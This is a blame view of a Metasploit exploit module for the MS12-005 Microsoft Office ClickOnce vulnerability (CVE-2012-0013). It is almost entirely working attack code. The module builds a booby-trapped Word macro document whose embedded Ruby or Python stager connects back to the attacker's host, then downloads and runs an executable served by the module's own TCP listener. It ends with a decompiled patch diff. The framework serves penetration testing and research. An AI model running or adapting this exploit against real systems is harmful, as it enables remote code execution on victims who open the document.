Files
metasploit-gs/modules/exploits/windows/fileformat/ms12_005.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

248 lines
6.8 KiB
Ruby
Raw Normal View History

2012-06-10 01:08:28 -05:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2012-06-10 01:08:28 -05:00
##
require 'rex/zip'
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2012-06-10 01:08:28 -05:00
Rank = ExcellentRanking
2013-08-30 16:28:54 -05:00
2012-06-10 01:08:28 -05:00
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::EXE
include Msf::Exploit::Remote::TcpServer
2013-08-30 16:28:54 -05:00
2012-06-10 01:08:28 -05:00
def initialize(info={})
super(update_info(info,
'Name' => "MS12-005 Microsoft Office ClickOnce Unsafe Object Package Handling Vulnerability",
'Description' => %q{
This module exploits a vulnerability found in Microsoft Office's ClickOnce
feature. When handling a Macro document, the application fails to recognize
certain file extensions as dangerous executables, which can be used to bypass
2012-06-13 14:21:56 -05:00
the warning message. This can allow attackers to trick victims into opening the
malicious document, which will load up either a python or ruby payload, and
finally, download and execute an executable.
2012-06-10 01:08:28 -05:00
},
'License' => MSF_LICENSE,
'Author' =>
[
'Yorick Koster', #Vuln discovery
'sinn3r' #Metasploit
],
'References' =>
[
['CVE', '2012-0013'],
['OSVDB', '78207'],
2012-10-22 22:34:47 +02:00
['MSB', 'MS12-005'],
2012-06-10 01:08:28 -05:00
['BID', '51284'],
['URL', 'http://support.microsoft.com/default.aspx?scid=kb;EN-US;2584146'],
['URL', 'http://exploitshop.wordpress.com/2012/01/14/ms12-005-embedded-object-package-allow-arbitrary-code-execution/']
],
'Payload' =>
{
'BadChars' => "\x00"
},
'DefaultOptions' =>
{
2015-09-01 10:48:07 +02:00
'EXITFUNC' => 'thread',
'DisablePayloadHandler' => false
2012-06-10 01:08:28 -05:00
},
'Platform' => 'win',
'Targets' =>
[
['Microsoft Office Word 2007/2010 on Windows 7', {}],
],
'Privileged' => false,
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2012-01-10',
2012-06-10 01:08:28 -05:00
'DefaultTarget' => 0))
2013-08-30 16:28:54 -05:00
2012-06-10 01:08:28 -05:00
register_options(
[
2012-11-15 14:42:31 -06:00
OptEnum.new('INIT_PAYLOAD', [true, "The initial payload type", 'PYTHON', %w(RUBY PYTHON)]),
2012-06-10 01:08:28 -05:00
OptString.new("BODY", [false, 'The message for the document body', '']),
OptString.new('FILENAME', [true, 'The Office document macro file', 'msf.docm'])
])
2012-06-10 01:08:28 -05:00
end
2013-08-30 16:28:54 -05:00
2012-06-10 01:08:28 -05:00
#
# Return the first-stage payload that will download our malicious executable.
#
def get_download_exec_payload(type, lhost, lport)
payload_name = Rex::Text.rand_text_alpha(7)
2013-08-30 16:28:54 -05:00
2012-06-10 01:08:28 -05:00
# Padd up 6 null bytes so the first few characters won't get cut off
p = "\x00"*6
2013-08-30 16:28:54 -05:00
2012-06-10 01:08:28 -05:00
case type
when :rb
p << %Q|
require 'socket'
require 'tempfile'
begin
cli = TCPSocket.open("#{lhost}",#{lport})
buf = ''
while l = cli.gets
buf << l
end
cli.close
tmp = Tempfile.new(['#{payload_name}','.exe'])
t = tmp.path
tmp.binmode
tmp.write(buf)
tmp.close
exec(t)
rescue
end#|
2013-08-30 16:28:54 -05:00
2012-06-10 01:08:28 -05:00
when :py
p << %Q|
import socket
import tempfile
import os
2013-08-30 16:28:54 -05:00
2012-06-10 01:08:28 -05:00
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("#{lhost}", #{lport}))
buf = ""
while True:
data = s.recv(1024)
if data:
buf += data
else:
break
s.close
temp = tempfile.gettempdir() + "\\\\\\" + "#{payload_name}.exe"
f = open(temp, "wb")
f.write(buf)
f.close
f = None
os.system(temp)
#|
2013-08-30 16:28:54 -05:00
2012-06-10 01:08:28 -05:00
end
2013-08-30 16:28:54 -05:00
p = p.gsub(/^ {6}/, '')
2013-08-30 16:28:54 -05:00
2012-06-10 01:08:28 -05:00
return p
end
2013-08-30 16:28:54 -05:00
2012-06-10 01:08:28 -05:00
#
# Reads a file that'll be packaged.
# This will patch certain files on the fly, or return the original content of the file.
#
def on_file_read(fname, file)
f = open(file, 'rb')
buf = f.read
f.close
2013-08-30 16:28:54 -05:00
2012-06-10 01:08:28 -05:00
# Modify certain files on the fly
case file
when /oleObject1\.bin/
# Patch the OLE object file with our payload
print_status("Patching OLE object")
2012-11-15 14:42:31 -06:00
ptype = datastore['INIT_PAYLOAD'] == 'PYTHON' ? :py : :rb
2012-06-10 01:08:28 -05:00
p = get_download_exec_payload(ptype, @ip, @port)
buf = buf.gsub(/MYPAYLOAD/, p)
2013-08-30 16:28:54 -05:00
2012-06-10 01:08:28 -05:00
# Patch username
username = Rex::Text.rand_text_alpha(5)
buf = buf.gsub(/METASPLOIT/, username)
buf = buf.gsub(/#{Rex::Text.to_unicode("METASPLOIT")}/, Rex::Text.to_unicode(username))
2013-08-30 16:28:54 -05:00
2012-06-10 01:08:28 -05:00
# Patch the filename
f = Rex::Text.rand_text_alpha(6)
buf = buf.gsub(/MYFILENAME/, f)
buf = buf.gsub(/#{Rex::Text.to_unicode("MYFILENAME")}/, Rex::Text.to_unicode(f))
2013-08-30 16:28:54 -05:00
2012-06-10 01:08:28 -05:00
# Patch the extension name
ext = ptype.to_s
buf = buf.gsub(/MYEXT/, ext)
buf = buf.gsub(/#{Rex::Text.to_unicode("MYEXT")}/, Rex::Text.to_unicode(ext))
2013-08-30 16:28:54 -05:00
2012-06-10 01:08:28 -05:00
when /document\.xml/
print_status("Patching document body")
# Patch the docx body
buf = buf.gsub(/W00TW00T/, datastore['BODY'])
2013-08-30 16:28:54 -05:00
2012-06-10 01:08:28 -05:00
end
2013-08-30 16:28:54 -05:00
2012-06-10 01:08:28 -05:00
# The original filename of __rels is actually ".rels".
# But for some reason if that's our original filename, it won't be included
# in the archive. So this hacks around that.
case fname
when /__rels/
fname = fname.gsub(/\_\_rels/, '.rels')
end
2013-08-30 16:28:54 -05:00
2012-06-10 01:08:28 -05:00
yield fname, buf
end
2013-08-30 16:28:54 -05:00
2012-06-10 01:08:28 -05:00
#
# Packages the Office Macro Document
#
def package_docm_rex(path)
zip = Rex::Zip::Archive.new
2013-08-30 16:28:54 -05:00
2012-06-10 01:08:28 -05:00
Dir["#{path}/**/**"].each do |file|
p = file.sub(path+'/','')
2013-08-30 16:28:54 -05:00
2012-06-10 01:08:28 -05:00
if File.directory?(file)
2012-06-10 14:38:14 -05:00
print_status("Packaging directory: #{file}")
2012-06-10 01:08:28 -05:00
zip.add_file(p)
else
on_file_read(p, file) do |fname, buf|
print_status("Packaging file: #{fname}")
zip.add_file(fname, buf)
end
end
end
2013-08-30 16:28:54 -05:00
2012-06-10 01:08:28 -05:00
zip.pack
end
2013-08-30 16:28:54 -05:00
2012-06-10 01:08:28 -05:00
#
# Return the malicious executable
#
def on_client_connect(cli)
print_status("#{cli.peerhost}:#{cli.peerport} - Sending executable (#{@exe.length.to_s} bytes)")
cli.put(@exe)
service.close_client(cli)
end
2013-08-30 16:28:54 -05:00
2012-06-10 01:08:28 -05:00
def exploit
@ip = datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST']
@port = datastore['SRVPORT']
2013-08-30 16:28:54 -05:00
2012-06-10 01:08:28 -05:00
print_status("Generating our docm file...")
path = File.join(Msf::Config.install_root, 'data', 'exploits', 'CVE-2012-0013')
docm = package_docm_rex(path)
2013-08-30 16:28:54 -05:00
2012-06-10 01:08:28 -05:00
file_create(docm)
print_good("Let your victim open #{datastore['FILENAME']}")
2013-08-30 16:28:54 -05:00
2012-06-10 01:08:28 -05:00
print_status("Generating our malicious executable...")
@exe = generate_payload_exe
2013-08-30 16:28:54 -05:00
2012-06-10 01:08:28 -05:00
print_status("Ready to deliver your payload on #{@ip}:#{@port.to_s}")
super
end
end
=begin
mbp:win7_diff sinn3r$ diff patch/GetCurrentIcon.c vuln/GetCurrentIcon.c
2012-06-10 01:08:28 -05:00
1c1
< void *__thiscall CPackage::_GetCurrentIcon(void *this, int a2)
---
> const WCHAR *__thiscall CPackage::_GetCurrentIcon(void *this, int a2)
...
24c24
< if ( AssocIsDangerous(result) || !SHGetFileInfoW(pszPath, 0x80u, &psfi, 0x2B4u, 0x110u) )
---
> if ( IsProgIDInList(0, result, extList, 0x11u) || !SHGetFileInfoW(pszPath, 0x80u, &psfi, 0x2B4u, 0x110u) )
31c31
2012-06-13 14:21:56 -05:00
=end